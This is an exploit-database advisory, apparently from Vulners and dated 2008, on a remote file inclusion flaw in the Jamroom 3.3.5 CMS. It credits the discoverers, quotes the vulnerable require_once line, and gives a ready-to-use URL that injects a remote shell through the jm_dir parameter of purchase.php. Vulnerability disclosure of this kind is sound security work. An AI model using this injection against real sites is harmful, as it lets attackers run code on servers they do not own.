Jamroom 3.3.5 Remote File Inclusion Vulnerabilities

🗓️ 21 Jun 2008 00:00:00Reported by RootType

Remote File Inclusion Vulnerabilities in Jamroom 3.3.5 CM


                                                +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;CMS&nbsp;Jamroom&nbsp;Version:&nbsp;3.3.5
Discovered&nbsp;By&nbsp;&nbsp;&nbsp;:&nbsp;Cyberlog
Scripts&nbsp;site&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.jamroom.net/
Download&nbsp;Script&nbsp;:&nbsp;http://www.jamroom.net/index.php?m=td_download&amp;o=download&amp;file_id=43
Thanks&nbsp;To&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;#sekuritionline,&nbsp;#semprol,&nbsp;#bajingan,&nbsp;#mimid,&nbsp;#yogyafree
Special&nbsp;To&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;k1n9k0ng,&nbsp;adhietslank,&nbsp;sukam,&nbsp;cah_gemblunkz,&nbsp;the_sims,&nbsp;aRiee
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;letjen,&nbsp;k1tk4t,&nbsp;inouf&nbsp;and&nbsp;jayoes
Site&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug&nbsp;Script:
require_once(&quot;{$jamroom['jm_dir']}/include/jamroom-payment.inc.php&quot;);

Bug&nbsp;Found:
http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell]

21 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1